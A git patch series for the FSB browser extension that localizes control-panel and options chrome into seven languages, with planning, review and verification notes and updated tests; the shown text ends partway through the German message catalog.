7934b4b04..23b656e2f 100644 --- a/tests/delegation-sidepanel-ui.test.js +++ b/tests/delegation-sidepanel-ui.test.js @@ -768,7 +768,9 @@ assert.equal((htmlSource.match(/id="delegationControlBar"/g) || []).length, 0, assert.equal(sha256(htmlSource .replace(delegationProviderScript, '') .replace(nativeHostInstallScript, '')), - '2f2fd0bb74edc1e6a6bb5d20127d8e67943013818e9cafe3d42d51b0c460ae7a', + // Rolled when package-owned side-panel chrome gained data-i18n markers + // and the locale catalog script. No new control or helper was added. + '6ae747542ae8d177a4f9c0b82048fac27ba48d06ac80e198bf00be81b93e53cc', 'the side-panel HTML includes only the intended helpers and tab-scoped ownership treatment'); const replayCssStart = cssSource.indexOf('.history-status.idle-closed {'); const replayCssEnd = cssSource.indexOf('/* Phase 11 FINT-20', replayCssStart); diff --git a/tests/extension-ui-locale.test.js b/tests/extension-ui-locale.test.js index 6fedbf685..fecdbee92 100644 --- a/tests/extension-ui-locale.test.js +++ b/tests/extension-ui-locale.test.js @@ -78,6 +78,17 @@ check(locale.t('locale_seed_replay', { SPEED: '2x' }) === '再生速度 2x', 'pl locale.setOverride('es'); check(locale.t('locale_seed_greeting') === 'FSB is ready', 'empty Spanish greeting catalog falls back to English'); +locale.setCatalog('es', { shell_ready: 'Listo', shell_owned_by: 'En uso por $LABEL$' }); +locale.setOverride('es'); +check(locale.text('shell_owned_by', 'Owned by Ada', { label: 'Ada' }) === 'En uso por Ada', 'text() applies the active catalog and substitutions'); +check(locale.text('missing_shell_key', 'Fallback text') === 'Fallback text', 'text() returns the English fallback when the key is missing'); +const exactNode = { setAttribute() {}, removeAttribute() {}, get firstChild() { return null; }, childNodes: [], textContent: '' }; +locale.markExact(exactNode, 'Ready'); +check(exactNode.textContent === 'Listo', 'markExact translates a known chrome string'); +locale.markExact(exactNode, 'User typed this'); +check(exactNode.textContent === 'User typed this', 'markExact leaves unknown text unchanged'); +locale.setOverride(null); + const source = fs.readFileSync(path.join(root, 'extension/utils/ui-locale.js'), 'utf8'); check(!source.includes('fsb-locale'), 'resolver does not mention the website cookie name'); check(!source.includes('document.cookie'), 'resolver does not read document.cookie'); @@ -90,6 +101,13 @@ check(identity !== -1 && uiLocale > identity && uiLocale < config, 'ui-locale lo const manifest = JSON.parse(fs.readFileSync(path.join(root, 'extension/manifest.json'), 'utf8')); check(manifest.default_locale === 'en', 'manifest default_locale is en'); +check(manifest.name === '__MSG_ext_name__', 'manifest name is a message token'); +check(manifest.description === '__MSG_ext_description__', 'manifest description is a message token'); + +const englishCatalog = JSON.parse(fs.readFileSync(path.join(root, 'extension/_locales/en/messages.json'), 'utf8')); +for (const [english, key] of Object.entries(locale.exact)) { + check(englishCatalog[key] && englishCatalog[key].message === english, 'exact chrome key ' + key + ' matches the English catalog'); +} check( sha256('mcp/src/types.ts') === '6b5f312a5e9a9f3390c973a7f93ef7552db1c110aeeb116084c1f522e776770a', diff --git a/tests/sidepanel-tab-aware-smoke.test.js b/tests/sidepanel-tab-aware-smoke.test.js index 1c8340b9d..59ace308f 100644 --- a/tests/sidepanel-tab-aware-smoke.test.js +++ b/tests/sidepanel-tab-aware-smoke.test.js @@ -363,7 +363,7 @@ function installDomStub(idMap) { 'Part 4.4 -- sidepanel.css carries .fsb-foreign-owned-disabled rule with opacity 0.45 + pointer-events none'); // 4.5 sidepanel.html carries the aria-describedby description span - ok(//.test(sidepanelHtmlSrc), + ok(//.test(sidepanelHtmlSrc), 'Part 4.5 -- sidepanel.html carries fsb-lockout-aria-description sr-only span'); // Phase 61 Plan 07: the delegation renderer is loaded exactly once before From e8a77c93acfb5839e3c37f07f36fba5daa663799 Mon Sep 17 00:00:00 2001 From: LakshmanTurlapati Date: Sun, 11 Oct 2026 07:25:03 -0500 Subject: [PATCH 08/57] feat(68-01): localize options and control panel chrome The control panel is the largest package-owned surface, so its labels, hints, and status text need the same catalog override as the side panel. Co-authored-by: Cursor --- .planning/REQUIREMENTS.md | 4 +- .planning/ROADMAP.md | 6 +- .planning/STATE.md | 18 +- .../68-01-PLAN.md | 25 + .../68-01-SUMMARY.md | 55 + .../68-CONTEXT.md | 42 + .../68-options-and-control-panel/68-REVIEW.md | 12 + .../68-UI-SPEC.md | 3 + .../68-VERIFICATION.md | 21 + extension/_locales/de/messages.json | 1254 +++++++++++++++++ extension/_locales/en/messages.json | 1254 +++++++++++++++++ extension/_locales/es/messages.json | 1254 +++++++++++++++++ extension/_locales/ja/messages.json | 1254 +++++++++++++++++ extension/_locales/ko/messages.json | 1254 +++++++++++++++++ extension/_locales/zh_CN/messages.json | 1254 +++++++++++++++++ extension/_locales/zh_TW/messages.json | 1254 +++++++++++++++++ extension/ui/control_panel.html | 711 +++++----- extension/ui/options.js | 78 +- extension/utils/panel-exact.js | 4 + extension/utils/ui-locale.js | 8 + tests/mcp-session-settings-ui.test.js | 2 +- tests/remote-control-rebrand.test.js | 2 +- 22 files changed, 9364 insertions(+), 405 deletions(-) create mode 100644 .planning/phases/68-options-and-control-panel/68-01-PLAN.md create mode 100644 .planning/phases/68-options-and-control-panel/68-01-SUMMARY.md create mode 100644 .planning/phases/68-options-and-control-panel/68-CONTEXT.md create mode 100644 .planning/phases/68-options-and-control-panel/68-REVIEW.md create mode 100644 .planning/phases/68-options-and-control-panel/68-UI-SPEC.md create mode 100644 .planning/phases/68-options-and-control-panel/68-VERIFICATION.md create mode 100644 extension/utils/panel-exact.js diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index 0b451e746..e1cbc13f3 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -25,7 +25,7 @@ ### Settings -- [ ] **SET-01**: Options and control-panel package-owned labels, buttons, hints, and status text render in the active locale. +- [x] **SET-01**: Options and control-panel package-owned labels, buttons, hints, and status text render in the active locale. ### Entry and overlay @@ -87,7 +87,7 @@ Which phases cover which requirements. Updated during roadmap creation. | SHELL-01 | Phase 67 | Complete | | SHELL-02 | Phase 67 | Complete | | SHELL-03 | Phase 67 | Complete | -| SET-01 | Phase 68 | Pending | +| SET-01 | Phase 68 | Complete | | ENTRY-01 | Phase 69 | Pending | | ENTRY-02 | Phase 69 | Pending | | ENTRY-03 | Phase 69 | Pending | diff --git a/.planning/ROADMAP.md b/.planning/ROADMAP.md index a5a3f0794..81e9a9142 100644 --- a/.planning/ROADMAP.md +++ b/.planning/ROADMAP.md @@ -32,7 +32,7 @@ - [x] **Phase 66: Locale plumbing and CI gate** - Seed catalogs, the runtime resolver, manifest `default_locale`, and a CI gate that fails on a missing key, an empty message, a placeholder change, or copied English (completed 2026-10-11) - [x] **Phase 67: Manifest, side panel, and popup** - Localized store identity plus side-panel and popup chrome, with all six translations in the same change -- [ ] **Phase 68: Options and control panel** - Localized options and control-panel chrome, the largest surface +- [x] **Phase 68: Options and control panel** - Localized options and control-panel chrome, the largest surface - [ ] **Phase 69: Onboarding, entry pages, and overlay chrome** - Localized onboarding, unlock, microphone permission, and FSB-authored overlay labels - [ ] **Phase 70: Coverage audit** - CI fails if in-scope files still contain package-owned English prose outside the catalog - [ ] **Phase 71: Language control** - A persistent seven-locale control that applies without restarting Chrome @@ -73,7 +73,8 @@ 1. Opening the control panel in German shows German labels, buttons, hints, and status text for package-owned chrome. 2. Provider names, model ids, storage keys, and error codes that are protocol identifiers remain unchanged. 3. Every key added in this phase exists in all seven catalogs, and the Phase 66 gate stays green. -**Plans**: TBD +**Plans**: 1/1 complete +- [x] 68-01: Control-panel catalogs and runtime status text. **UI hint**: yes ### Phase 69: Onboarding, entry pages, and overlay chrome @@ -119,3 +120,4 @@ --- *Roadmap created: 2026-10-11* *Phase 67 passed: 2026-10-11* +*Phase 68 passed: 2026-10-11* diff --git a/.planning/STATE.md b/.planning/STATE.md index baff3588a..449148127 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -3,14 +3,14 @@ gsd_state_version: 1.0 milestone: v1.3.0 milestone_name: Extension multilingual UI status: executing -last_updated: "2026-10-11T12:00:00.000Z" +last_updated: "2026-10-11T13:30:00.000Z" last_activity: 2026-10-11 progress: total_phases: 6 - completed_phases: 2 - total_plans: 2 - completed_plans: 2 - percent: 33 + completed_phases: 3 + total_plans: 3 + completed_plans: 3 + percent: 50 --- *Note: progress counts in the frontmatter are for v1.3.0 only. v0.9.91 is paused, not shipped. Its snapshot is `.planning/milestones/v0.9.91-STATE.md`.* @@ -29,7 +29,7 @@ See: showcase/angular/src/app/core/i18n/locale-constants.ts (the seven locale co See: showcase/angular/src/locale/DO-NOT-TRANSLATE.md (protected literals) **Core value:** Reliable single-attempt execution — the AI decides correctly, the mechanics execute precisely. v1.3.0 does not change automation or the MCP wire. It makes package-owned extension chrome render in the seven showcase locales. -**Current focus:** Requirements and roadmap written. Execution has not started. +**Current focus:** Phase 68 passed. Phase 69 has not started. ## Historical context (v0.9.91 and earlier) @@ -37,10 +37,10 @@ The sections below this banner are accumulated decisions from earlier milestones ## Current Position -Phase: 68 — Options and control panel (not started) +Phase: 69 — Onboarding, entry pages, and overlay chrome (not started) Plan: — -Status: Phase 67 passed. Execution continues. -Last activity: 2026-10-11 — Phase 67 manifest, side panel, and popup chrome passed +Status: Phase 68 passed. Execution continues. +Last activity: 2026-10-11 — Phase 68 options and control panel chrome passed ## Roadmap At A Glance (v0.9.91, Phases 57-65) diff --git a/.planning/phases/68-options-and-control-panel/68-01-PLAN.md b/.planning/phases/68-options-and-control-panel/68-01-PLAN.md new file mode 100644 index 000000000..8b6c2b1fd --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-01-PLAN.md @@ -0,0 +1,25 @@ +# Phase 68 Plan 01: Options and control panel chrome + + +Show package-owned options and control-panel chrome in the active locale. + + + + + +Control panel catalogs +extension/ui/control_panel.html, extension/utils/panel-exact.js, extension/utils/ui-locale.js, extension/_locales/**/messages.json + +Mark resting control-panel labels, buttons, and hints with catalog keys in all seven locales. Keep provider names unmarked. Load the locale module and register the exact map before options.js runs. + + + + +Runtime status text +extension/ui/options.js + +Route exact package-owned status assignments through fsbUiSet so a loaded catalog replaces them. Keep the English literal in source. + + + + diff --git a/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md b/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md new file mode 100644 index 000000000..e018bf3fb --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-01-SUMMARY.md @@ -0,0 +1,55 @@ +--- +phase: 68-options-and-control-panel +plan: "01" +subsystem: extension-i18n +tags: [i18n, options, control-panel] + +requires: [67-01] +provides: + - Control-panel package-owned chrome from the seven catalogs + - Runtime status text that refreshes after the catalog loads +affects: [69-onboarding-entry-pages-and-overlay-chrome] + +tech-stack: + added: [] + patterns: + - data-i18n on leaf control-panel nodes + - registerExact for the control-panel map + - fsbUiSet keeps the English literal and calls markExact + +key-files: + created: + - extension/utils/panel-exact.js + modified: + - extension/utils/ui-locale.js + - extension/ui/control_panel.html + - extension/ui/options.js + - extension/_locales/en/messages.json + +key-decisions: + - "Provider names that are the entire text node stay in English and unmarked." + - "Beta badges stay sibling spans so apply() does not wipe them." + +requirements-completed: [SET-01] + +duration: 1 session +completed: 2026-10-11 +status: passed +--- + +# Phase 68 Plan 01 Summary + +**Resting control-panel chrome and exact options status text resolve through the seven catalogs.** + +## Accomplishments + +- 336 unique control-panel keys are in every locale. A German override returns a distinct German string for each of them, including Dashboard as Übersicht and Save Changes as Änderungen speichern. +- Provider-name text nodes stay unmarked. +- `fsbUiSet` tags exact vault, payment, pairing, and log status strings so boot refreshes them. + +## Files Created/Modified + +- `extension/utils/panel-exact.js` — English-to-key map registered at load. +- `extension/ui/control_panel.html` — `data-i18n` markers and locale scripts. +- `extension/ui/options.js` — `fsbUiSet` for exact status assignments. +- `extension/_locales/*/messages.json` — panel messages. diff --git a/.planning/phases/68-options-and-control-panel/68-CONTEXT.md b/.planning/phases/68-options-and-control-panel/68-CONTEXT.md new file mode 100644 index 000000000..7d2b68eb2 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-CONTEXT.md @@ -0,0 +1,42 @@ +# Phase 68: Options and control panel - Context + +**Gathered:** 2026-10-11 +**Status:** Ready for planning +**Mode:** Autonomous smart discuss. Recommended answers accepted because this runtime has no interactive question tool and the milestone brief already locked these choices. + + +## Phase Boundary + +The options page and control panel show package-owned labels, buttons, hints, and status text in the active locale. Provider names, model ids, storage keys, and protocol error codes stay unchanged. + + + + +## Implementation Decisions + +### Resting chrome +- Visible control-panel copy is marked with `data-i18n` on leaf nodes. Mixed labels such as Sync plus the Beta badge wrap only the text node, so `apply()` does not wipe the badge. +- Catalog keys are `panel_` plus the first 10 hex characters of the SHA-256 of the English string. +- Product names that are the whole text node stay unmarked: xAI (Grok), Google Gemini, OpenAI, Anthropic (Claude), OpenRouter, LM Studio, Claude Code, Grok Build, OpenClaw, Discord, Google AI Studio, Claude Routines, and bare FSB. +- `FSB`, `Chrome`, `OpenAI`, `CAPTCHA`, `MCP`, and `PIN` stay as literals inside longer sentences. + +### Runtime status +- `registerExact` merges the control-panel English-to-key map from `extension/utils/panel-exact.js` without editing the shell exact map. +- `options.js` calls `fsbUiSet`, which uses `markExact` when the locale module is present and otherwise writes the English literal. Extracted tests that do not load catalogs still see English. +- Scripts load `ui-locale.js` and `panel-exact.js` before `config.js`. Boot applies the catalog to the control-panel document. + +### Out of scope +- Onboarding, unlock, microphone permission, and overlay chrome (Phase 69). +- The language picker (Phase 71). +- Showcase Angular i18n. + + + + +## Canonical References + +- `.planning/ROADMAP.md` Phase 68 success criteria +- `extension/utils/ui-locale.js` +- `extension/ui/control_panel.html` +- `extension/ui/options.js` + diff --git a/.planning/phases/68-options-and-control-panel/68-REVIEW.md b/.planning/phases/68-options-and-control-panel/68-REVIEW.md new file mode 100644 index 000000000..68750f692 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-REVIEW.md @@ -0,0 +1,12 @@ +--- +phase: 68 +status: clean +--- + +# Phase 68 Review + +Inline review. The reviewer subagent is not available in this runtime. + +No blocking defect. `apply()` is used only on leaf nodes and on text spans beside badges, so the Beta badge is not wiped. `fsbUiSet` leaves the English sentence in source for tests that do not load catalogs. Provider-name nodes stay unmarked. + +The Sync nav assertion now matches the wrapped text spans. The retry-label assertion matches `fsbUiSet` and still requires the English sentence. diff --git a/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md b/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md new file mode 100644 index 000000000..6d71a5dc4 --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-UI-SPEC.md @@ -0,0 +1,3 @@ +# Phase 68 UI spec + +No layout, color, or control changes. Existing labels, buttons, hints, and status text keep their positions. Only the string changes with the active locale. Provider names stay in English. The language picker is Phase 71. diff --git a/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md b/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md new file mode 100644 index 000000000..7e4ca6acb --- /dev/null +++ b/.planning/phases/68-options-and-control-panel/68-VERIFICATION.md @@ -0,0 +1,21 @@ +--- +phase: 68 +status: passed +score: 3/3 +--- + +# Phase 68 Verification + +**Status:** passed + +## Must-haves + +1. A German override resolves all 336 unique `panel_` keys on the control panel to non-empty German that differs from English. Resting labels, buttons, and hints use `data-i18n`. Exact options status strings go through `fsbUiSet` / `markExact`, so they refresh after boot. +2. Provider names that are the whole text node are unmarked. Storage keys, model ids, and protocol identifiers were not edited. `mcp/src/types.ts` and `extension/ai/tool-definitions.js` stay byte-stable via the locale test. +3. `node scripts/verify-extension-i18n.mjs` passed. `node tests/extension-ui-locale.test.js` passed 110 checks. + +Also passed: voice-input settings UI, providers panel UI, model discovery UI (150), consent audit settings UI (61), change-report settings UI (10), control-panel scroll containment, google-sheets wiring, remote-control rebrand (24), and MCP session settings UI (50). + +`tests/trigger-cap-settings-ui.test.js` still fails two checks (`fsbTriggerCapDisplay` and min/max/step on the input). Those ids and attributes are absent in HEAD as well; this phase did not remove any element id. + +No human verification items. The control panel was not opened in a browser in this run. Catalog resolution and DOM hooks are covered by the checks above. diff --git a/extension/_locales/de/messages.json b/extension/_locales/de/messages.json index 834a422a2..3995bf0a2 100644 --- a/extension/_locales/de/messages.json +++ b/extension/_locales/de/messages.json @@ -396,5 +396,1259 @@ }, "shell_error_status": { "message": "Fehler" + }, + "panel_67b6964686": { + "message": "Übersicht" + }, + "panel_8ad747d05c": { + "message": "API-Konfiguration" + }, + "panel_8d261a372f": { + "message": "Synchronisierung" + }, + "panel_703390318b": { + "message": "Betaversion" + }, + "panel_be146b37a0": { + "message": "Passwörter" + }, + "panel_632e1c5839": { + "message": "Zahlungen" + }, + "panel_22d4f6088b": { + "message": "Erweiterte Einstellungen" + }, + "panel_c3963aedaa": { + "message": "Gedächtnis" + }, + "panel_480d3c119a": { + "message": "Protokolle und Fehlersuche" + }, + "panel_2ccff1d108": { + "message": "Hilfe und Dokumentation" + }, + "panel_db17c74beb": { + "message": "Beobachte AI-Nutzung, Kosten und die Leistung der Automatisierung" + }, + "panel_cd41bf0d3e": { + "message": "Tokens insgesamt" + }, + "panel_dfa5cc738d": { + "message": "Gesamtkosten" + }, + "panel_ada27592c9": { + "message": "Anfragen" + }, + "panel_5068c6c343": { + "message": "Erfolgsquote" + }, + "panel_d909750b1b": { + "message": "Automatisierung" + }, + "panel_cddf50281d": { + "message": "Tokenverbrauch im Zeitverlauf" + }, + "panel_615c5daff4": { + "message": "Letzte 24 Stunden" + }, + "panel_b84372e5cb": { + "message": "Letzte 7 Tage" + }, + "panel_e9ddf63b38": { + "message": "Letzte 30 Tage" + }, + "panel_5e4bc34faf": { + "message": "Richte den AI-Modellanbieter und die API-Einstellungen ein" + }, + "panel_9b3cf4a154": { + "message": "AI-Modellkonfiguration" + }, + "panel_84e1ec2c5b": { + "message": "AI-Anbieter" + }, + "panel_994f468aae": { + "message": "Anderen Anbieter wählen" + }, + "panel_e65d5614f4": { + "message": "Benutzerdefiniert (OpenAI-kompatibel)" + }, + "panel_e69daa3849": { + "message": "API-Anbieter verwenden lokale Schlüssel. Agenten-CLIs verwenden die vorhandene lokale Anmeldung." + }, + "panel_daa5fed227": { + "message": "Anderen AI-Anbieter wählen" + }, + "panel_822a9fabc1": { + "message": "Dieser Anbieter ist für die Automatik nicht mehr verfügbar. Wähle und speichere einen anderen Anbieter, bevor du eine neue Aufgabe startest." + }, + "panel_5e2c614c23": { + "message": "Modell" + }, + "panel_dfa17046ae": { + "message": "API-Schlüssel angeben, um Modelle aufzulisten" + }, + "panel_00889a77ec": { + "message": "Wähle das zu verwendende AI-Modell" + }, + "panel_bc3286fa36": { + "message": "xAI-API-Schlüssel" + }, + "panel_a3fb46f4c6": { + "message": "Hol deinen API-Schlüssel von" + }, + "panel_8e9faa30de": { + "message": ". Dein Schlüssel wird lokal im Browser gespeichert." + }, + "panel_53bca734db": { + "message": "Gemini-API-Schlüssel" + }, + "panel_8418bdbdcd": { + "message": "OpenAI-API-Schlüssel" + }, + "panel_e07165f5ce": { + "message": "OpenAI-Plattform" + }, + "panel_959bc25166": { + "message": "Anthropic-API-Schlüssel" + }, + "panel_c481af39b2": { + "message": "Anthropic-Konsole" + }, + "panel_36e0497429": { + "message": "OpenRouter-API-Schlüssel" + }, + "panel_84de34181d": { + "message": ". Mit einem Schlüssel auf über 200 Modelle zugreifen." + }, + "panel_018833a024": { + "message": "LM-Studio-Server-URL" + }, + "panel_3efaf1b1c1": { + "message": "Verwendet den lokalen OpenAI-kompatiblen Server von LM Studio. Kein API-Schlüssel nötig. Modelle werden live ermittelt von" + }, + "panel_83419f15b8": { + "message": "Benutzerdefinierter API-Endpunkt" + }, + "panel_cfb67fffe3": { + "message": "Gib die vollständige URL deines OpenAI-kompatiblen API-Endpunkts ein" + }, + "panel_acb781f972": { + "message": "Benutzerdefinierter API-Schlüssel" + }, + "panel_5e2e7207a6": { + "message": "Dein Schlüssel wird lokal im Browser gespeichert." + }, + "panel_abfe6d40e5": { + "message": "Sprache zu Text" + }, + "panel_5303c4374c": { + "message": "OpenAI Whisper verwenden" + }, + "panel_14e36783b5": { + "message": "Erfordert einen OpenAI-API-Schlüssel. Wenn deaktiviert, wird die Spracherkennung des Browsers verwendet." + }, + "panel_e1461bf33a": { + "message": "CAPTCHA-Löser" + }, + "panel_2909841c62": { + "message": "CAPTCHA-Lösung aktivieren" + }, + "panel_1955b2ec44": { + "message": "Nutzt den Dienst 2Captcha für reCAPTCHA v2, hCaptcha und Cloudflare Turnstile" + }, + "panel_5ac544cb2f": { + "message": "2Captcha-API-Schlüssel" + }, + "panel_a003f76423": { + "message": "Registriere dich bei" + }, + "panel_b6ff7ee96e": { + "message": "Agenten-CLI" + }, + "panel_a1272b91cf": { + "message": "Anmeldung wird geprüft..." + }, + "panel_d696a35bdd": { + "message": "Profil" + }, + "panel_3ac8bbca9a": { + "message": "Abrechnung" + }, + "panel_cec3a9b89b": { + "message": "Daten" + }, + "panel_ccf75fb483": { + "message": "SuperGrok verbinden" + }, + "panel_acfc5be785": { + "message": "Trennen" + }, + "panel_1771a5d0f6": { + "message": "Anmeldung fortsetzen" + }, + "panel_888a2f4fc6": { + "message": "SuperGrok-Nutzung prüfen" + }, + "panel_d334745b85": { + "message": "Installationsanleitung" + }, + "panel_adadface01": { + "message": "Nicht gemeldet" + }, + "panel_5bbbe53187": { + "message": "Anmeldung" + }, + "panel_774bf7db76": { + "message": "Authentifizierungsstatus" + }, + "panel_2e5f79bb94": { + "message": "Wird geprüft..." + }, + "panel_02600e6189": { + "message": "API-Verbindung wird geprüft" + }, + "panel_c02977b07e": { + "message": "Verbindung testen" + }, + "panel_3907fa7f80": { + "message": "Erscheinungsbild" + }, + "panel_efb52e7172": { + "message": "Design" + }, + "panel_6725e7bbcd": { + "message": "Systemstandard" + }, + "panel_60acc53f13": { + "message": "Dunkel" + }, + "panel_dbcd5e7bb7": { + "message": "Hell" + }, + "panel_19766ed6cc": { + "message": "Abbrechen" + }, + "panel_1509f561f2": { + "message": "Speichern" + }, + "panel_35322b5bb5": { + "message": "Änderungen speichern" + }, + "panel_eb1a70e392": { + "message": "Verwerfen" + }, + "panel_49e49bb440": { + "message": "Erzeugen" + }, + "panel_0e91610117": { + "message": "Aktualisieren" + }, + "panel_3664895579": { + "message": "Exportieren" + }, + "panel_2cff9baabf": { + "message": "Importieren" + }, + "panel_78b7d0379d": { + "message": "Gewähren" + }, + "panel_05a2d7332e": { + "message": "Ablehnen" + }, + "panel_ca7981b46e": { + "message": "Aus" + }, + "panel_b8c209cdea": { + "message": "Fragen" + }, + "panel_0286249762": { + "message": "Automatisch" + }, + "panel_1a3a4b99db": { + "message": "Es gibt keinen gemeldeten Fall, in dem FSB als Bot erkannt wurde und die Arbeit unterbrochen hat. Trotzdem ist nicht jeder Tag einfach. Das hier ist für die anderen Tage." + }, + "panel_1a187ac034": { + "message": ", lade Guthaben auf und kopiere den API-Schlüssel aus dem Dashboard. Löst reCAPTCHA v2, hCaptcha und Turnstile." + }, + "panel_92f1115a37": { + "message": "FSB verwendet die vorhandene lokale Anmeldung dieser CLI. Verbindung testen sendet eine kleine Prüfanfrage ohne Werkzeuge." + }, + "panel_cfaa352b86": { + "message": "xAI · lokale Anbindung" + }, + "panel_fd05c3a95a": { + "message": "Erfordert das geprüfte Profil Grok Build 1.0.4. Verbindung testen prüft Installation, Version, Isolation, ACP und zwischengespeichertes OAuth, ohne einen Prompt zu senden." + }, + "panel_ce4f452059": { + "message": "Verwendet dein angemeldetes Grok-Konto. SuperGrok-Nutzung kommt aus dem gemeinsamen Wochenkontingent; zusätzliche Nutzung kann anfallen." + }, + "panel_ba5c14963d": { + "message": "Aufgabentext aus dem Browser und FSB-MCP-Ergebnisse werden zur Inferenz an Grok gesendet. FSB deaktiviert sekundäre Telemetrie und Trace-Uploads für dieses private Profil." + }, + "panel_baf4338a6f": { + "message": "Anthropic · lokale Anbindung" + }, + "panel_7b14b6ca11": { + "message": "Verwendet das in Claude Code angemeldete Konto. FSB braucht deine Anthropic-Zugangsdaten nicht." + }, + "panel_8cceeb4d83": { + "message": "Nutzung und Kosten folgen dem Claude-Tarif oder der API-Konfiguration dieses Kontos." + }, + "panel_d9daa99f67": { + "message": "Claude Code meldet keinen Authentifizierungsstatus, den FSB sicher lesen kann." + }, + "panel_00604d2592": { + "message": "Claude-Tarife und Abrechnung prüfen" + }, + "panel_b9f2d95fd0": { + "message": "Feinabstimmung von Verhalten und Leistung der Automatisierung" + }, + "panel_d987fa1b93": { + "message": "Erscheinungsbild des Kontrollzentrums" + }, + "panel_1b0daa3cbf": { + "message": "Systemstandard folgt dem Erscheinungsbild des Betriebssystems. Standard: Systemstandard." + }, + "panel_0c2634ded4": { + "message": "Ausführung und Grenzen" + }, + "panel_a429108292": { + "message": "Automatisierungsgrenzen" + }, + "panel_a6db09cd31": { + "message": "Grenzen der Aufgabenausführung steuern" + }, + "panel_7f9bd64777": { + "message": "Maximale Iterationen" + }, + "panel_efb8da8405": { + "message": "Verhindert ausufernde Automatisierungsschleifen" + }, + "panel_217a08135e": { + "message": "DOM-Analyse" + }, + "panel_f57d34cd62": { + "message": "Verarbeitung der Seitenelemente optimieren" + }, + "panel_f239d1c5e2": { + "message": "Elementgrenze" + }, + "panel_a0981cec31": { + "message": "Balance zwischen Abdeckung und Geschwindigkeit" + }, + "panel_44551744d4": { + "message": "Größe des Elementcaches" + }, + "panel_bc63ff6878": { + "message": "50 (minimal, einfache Seiten)" + }, + "panel_6e13b13acc": { + "message": "100 (leicht, übliche Seiten)" + }, + "panel_f5e5f028c7": { + "message": "200 (Standard, empfohlen)" + }, + "panel_51a4656787": { + "message": "500 (schwer, komplexe SPAs)" + }, + "panel_b497c0b77d": { + "message": "Benutzerdefiniert..." + }, + "panel_3bba622285": { + "message": "Zwischengespeicherte Elementsuchen für schnellere Wiederholungen. Höher bedeutet schneller auf komplexen Seiten und mehr Speicher." + }, + "panel_964b6d2feb": { + "message": "Agenten-Parallelität" + }, + "panel_93bdf716dc": { + "message": "Maximal gleichzeitige Agenten" + }, + "panel_05f46c29ed": { + "message": "Parallelitätsgrenze" + }, + "panel_599bc7e4ae": { + "message": "Auf empfohlen (8) zurücksetzen" + }, + "panel_26f41aac5c": { + "message": "Muss zwischen 1 und 64 liegen" + }, + "panel_dd39c865d3": { + "message": "0 von 8 aktiv" + }, + "panel_8b2e97f4e5": { + "message": "Auslöser-Parallelität" + }, + "panel_1844d05c26": { + "message": "Maximal gleichzeitige Auslöserüberwachungen" + }, + "panel_5aa4aff46c": { + "message": "Auf Standard (8) zurücksetzen" + }, + "panel_4f6e909317": { + "message": "Automatisierungsverhalten" + }, + "panel_87fb620509": { + "message": "Aktionsänderungsberichte" + }, + "panel_8807532414": { + "message": "Inline-Diff, der mit jeder Aktion zurückkommt" + }, + "panel_5d2f08be69": { + "message": "Aktionsänderungsberichte zurückgeben (empfohlen)" + }, + "panel_814f4c658e": { + "message": "MCP-Sitzungswiedergabe" + }, + "panel_d93120e9c3": { + "message": "Lokaler, originalgetreuer Verlauf der MCP-Agentenaktionen" + }, + "panel_e3d0d26ac8": { + "message": "MCP-Sitzungen für die Wiedergabe aufzeichnen" + }, + "panel_8c338dcb22": { + "message": "Aufbewahrung der MCP-Wiedergabe (Tage)" + }, + "panel_a3a33e657a": { + "message": "Leistungsoptimierungen" + }, + "panel_318ba4fefb": { + "message": "Intelligente Funktionen für mehr Geschwindigkeit und Genauigkeit aktivieren" + }, + "panel_718ec50194": { + "message": "Delta-Vergleich" + }, + "panel_4df3ccd4f7": { + "message": "Sendet nach dem ersten Scan nur DOM-Änderungen (70–90 % weniger Kontext)" + }, + "panel_386c10cfbb": { + "message": "Sichtfeldpriorität" + }, + "panel_55b7c33a00": { + "message": "Sichtbare Elemente bevorzugen, für schnellere und passendere Ergebnisse" + }, + "panel_56cb122532": { + "message": "AI-Verfeinerung der Sitemap" + }, + "panel_bbabb56b4f": { + "message": "Sitemaps automatisch mit AI für Navigationsstrategien und Ablauferkennung verfeinern" + }, + "panel_6a63ec792f": { + "message": "Visuelle Rückmeldung" + }, + "panel_d9db4fd5a6": { + "message": "Visuelle Hinweise während der Automatisierung steuern" + }, + "panel_882726c86c": { + "message": "Animierte Aktionsmarkierungen" + }, + "panel_525c3926bb": { + "message": "Zeigt einen pulsierenden Schein um Elemente, während Aktionen laufen" + }, + "panel_b8c545e36f": { + "message": "Schrittfortschritt im Seitenpanel" + }, + "panel_cd7487b136": { + "message": "Zeigt Aktionsschritte während der Automatisierung im Seitenpanel" + }, + "panel_915c0ef81c": { + "message": "Datenschutz und Entwicklung" + }, + "panel_02d7d5cfae": { + "message": "Spracheingabe" + }, + "panel_936f490e8e": { + "message": "Steuert die Mikrofoneingabe im FSB-Seitenpanel" + }, + "panel_92f7b96921": { + "message": "Mikrofoneingabe aktivieren" + }, + "panel_e007c1f5fd": { + "message": "Mikrofonberechtigung wird geprüft…" + }, + "panel_7df7702416": { + "message": "Chrome verwaltet die Mikrofonfreigabe für die ganze Erweiterung." + }, + "panel_5e09a0b0eb": { + "message": "Mikrofon aktivieren" + }, + "panel_2c0acdeddf": { + "message": "Chrome-Einstellungen öffnen" + }, + "panel_d7de9cfa12": { + "message": "Entwickleroptionen" + }, + "panel_fef2fc10ae": { + "message": "Werkzeuge zur Fehlersuche" + }, + "panel_5f75368293": { + "message": "Debug-Modus" + }, + "panel_64b2d259ae": { + "message": "Ausführliche Konsolenprotokolle zur Fehlersuche bei der Automatisierung aktivieren" + }, + "panel_38d35a351e": { + "message": "Datenschutz und Telemetrie" + }, + "panel_21bf1bebea": { + "message": "Anonyme Nutzungsdaten" + }, + "panel_451d787c00": { + "message": "Anonyme Nutzungsdaten 